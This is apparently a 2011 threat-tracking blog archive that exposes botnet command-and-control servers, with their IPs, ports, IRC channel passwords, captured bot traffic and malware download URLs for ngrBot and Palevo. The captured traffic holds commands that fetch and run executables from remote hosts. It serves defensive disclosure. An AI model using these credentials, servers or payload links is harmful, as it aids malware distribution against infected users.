Month: October 2011

Remote Host Port Number 109.68.191.168 7654 PASS ngrBot 199.15.234.7 80 74.52.121.37 80 NICK n{US|XPa}woqkvpd USER woqkvpd 0 0 :woqkvpd JOIN #oldgold noKIDs JOIN #US PRIVMSG #oldgold :[d=”http://muralihostal.com/clientes/fu66.exe” s=”7455 bytes”] Update error: MD5 mismatch (5B6D6ED8BFC9B90BF020566BED59FB14 != 00bbd4ef64ffca28833b1d173b29c3e6) * The data identified by the following URLs was then requested from the remote web server: o http://api.wipmania.com/ oRead more...

Server: 69.162.69.2:1685 PASS koka25 Server Password: Username: ivpuufd Nickname: n{DE|XPa}ivpuufd Channel: #infe (Password: koka25) JOIN #US Channeltopic: :!us pa !s hosting infos: http://whois.domaintools.com/69.162.69.2

Remote Host Port Number 109.68.191.185 7777 PASS laekin0505x 199.115.229.189 80 199.15.234.7 80 NICK n{US|XPa}lwndarv USER lwndarv 0 0 :lwndarv JOIN #totalrenovation2011 ngrBot PRIVMSG #totalrenovation2011 :[d=”http://juazjuaz.com/cipha.exe” s=”114688 bytes”] Executed file “C:Documents and SettingsUserNameApplication Data1.exe” – Download retries: 0 PRIVMSG #totalrenovation2011 :[d=”http://juazjuaz.com/Winsoft.exe” s=”167936 bytes”] Updated bot file “C:Documents and SettingsUserNameApplication DataMcxaxm.exe” – Download retries: 0 * TheRead more...

HTTP malware spreading through networks know as palevo worm exe files: http://fa715921.urlbeat.net http://b7b0380e.goneviral.com config file: http://04ed4837.tubeviral.com Bot panel used to control zombies: Download panel: http://cec3f665.ultrafiles.net http://8b47fd59.tinylinks.co virustotal scan: 4 /43 (9.3%) http://www.virustotal.com/file-scan/report.html?id=31cf7e82afe834189765aadb4d3b057c8a5bdbafd0236ac3717945de644ea134-1319067167

The guy behind this large net is hf user and he’s very l33t hecker here his monster net now open for public visits lol 8 leafs with probably 15k bots inside every leaf i estimate it around 100k bots server: 109.68.191.156 TCP port 1888 server: 109.68.191.159 TCP port 1888 server: 31.214.201.175 TCP port 1888 Server:Read more...

Real heckers and very hard to know from where lamers belong(look at domain name) ng.albanianetwork.com 89.248.168.87 api.wipmania.com api.wipmania.com 199.15.234.7 gn.albacrew.com 89.248.168.87 Download URLs http://199.15.234.7/ (api.wipmania.com) Outgoing connection to remote server: ng.albanianetwork.com TCP port 6869 Outgoing connection to remote server: api.wipmania.com TCP port 80 Outgoing connection to remote server: ng.albanianetwork.com TCP port 9731 Outgoing connection toRead more...

Panel picture: Panel url: http://22079a17.urlbeat.net exe file used to infect: http://d5243fd7.filesonthe.net hosting infos: http://whois.domaintools.com/69.162.107.11

safetysamvps.info 199.119.201.232 Server: 199.119.201.232:6667 Server Password: Username: Catalyst21 Nickname: n{DEU|XP-32}214249 Channel: #Catalyst (Password: ) Channeltopic: Now talking in #catalyst Topic On: [ #catalyst ] [ IRC ] Topic By: [ Execute ] hosting infos: http://whois.domaintools.com/199.119.201.232

api.trafficnum.net 184.106.152.29 Server: 184.106.152.29:2345 Server Password: Username: x Nickname: n[DEU|XP]7983462 Channel: #!prbla! (Password: ) Channeltopic: :.m /125/125/85/84/52/33/11/110/108/114/59/118/70/112/100/115/112/96/55/69/127/100/42/54/28/33/17/63/48/51/ Topic By: [ spin ] hosting infos: http://whois.domaintools.com/184.106.152.29

Remote Host Port Number 199.15.234.7 80 50.17.217.128 80 83.233.33.6 80 88.13.254.233 4242 PASS secret PRIVMSG ##n :[DNS]: Blocked 1310 domain(s) – Redirected 0 domain(s) NICK n{US|XPa}egiruwp USER egiruwp 0 0 :egiruwp PONG :ED4B405C JOIN ##n secret PRIVMSG ##n :[d=”http://dl.dropbox.com/u/40789812/Comet1185501.exe” s=”279040 bytes”] Updated bot file “C:Documents and SettingsUserNameApplication DataScxaxs.exe” – Download retries: 0 hosting infos: http://whois.domaintools.com/88.13.254.233